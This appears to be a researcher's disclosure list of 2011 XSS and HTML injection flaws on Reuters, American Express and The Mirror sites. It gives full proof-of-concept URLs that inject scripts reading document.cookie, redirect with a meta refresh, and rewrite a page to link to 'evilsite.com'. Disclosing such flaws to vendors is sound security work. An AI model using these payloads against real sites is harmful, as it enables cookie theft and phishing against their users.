
Here are the most important vulnerabilities that I've discovered and reported to vendors in the last years.
Date of discovery: 10 March 2011
Reuters Finance is vulnerable to a Cross-Site-Scripting (XSS) attack, and to a HTML code injection.
XSS Example:
http://www.reuters.com/finance/markets/index?symbol=us!comp&sortBy=%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E
Opening this URL will execute arbitrary Javascript passed as sortBy, in this case it will simply display user's cookies. It is possible to redirect a user to any site using reuters.com as a "safe shield", i.e. in phishing attacks.
HTML Injection Example:
http://www.reuters.com/finance/markets/index?symbol=us!comp&sortBy=%22%3E%3Cmeta%20http-equiv=%22refresh%22%20content=%220;url=http://google.com%22%3E
This request redirects the user to google.com (any other evil site works too) using META tags, no JS required.
http://www.reuters.com/finance/markets/index?symbol=us!comp&sortBy=%22%3E%3Cscript%3Edocument.body.innerHTML=%27%3Chtml%3E%3Cb%3ETest!%3C/b%3E%3Cbr%3E%3Cbr%3E%3Ci%3EEvil%20content%20%3Ca%20href=http://evilsite.com%3Ehere%3C/a%3E!%3C/i%3E%3C/html%3E%27;%3C/script%3E
This URL rewrites the body HTML completely, using Javascript (due to XSS vulnerability).
Reuters has been notified. Status: WAITING FIXED.
Date of discovery: 10 August 2011
Reuters is vulnerable to Cross-Site-Scripting (XSS) attacks.
XSS Examples:
http://www.reuters.com/assets/commentsChild?articleId=%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E
http://charts.reuters.com/reuters/enhancements/chartapi/chart_api.asp?symbol=%3Cscript%3Ealert%28%27XSS%27%29%3C/script%3E
Reuters has been notified. Status: WAITING .
Date of discovery: 13 August 2011
American Express website is vulnerable to a Cross-Site-Scripting (XSS) attack.
Since a malicious attacker can execute arbitrary JS code, SSL EV is bypassed.
XSS Example:
https://passrewards.americanexpress.com/nr____.htm?&mnpos=%22%20onload=%22alert%28document.cookie%29%22
American Express has been notified. Status: WAITING FIXED.
Date of discovery: 18 August 2011
The Mirror is vulnerable to Cross-Site-Scripting (XSS) attacks.
XSS Example:
http://www.mirror.co.uk/weather/index.cfm?town=%3Cimg%20src=x%20onerror=alert%28document.cookie%29%3E
The Mirror has been notified. Status: WAITING .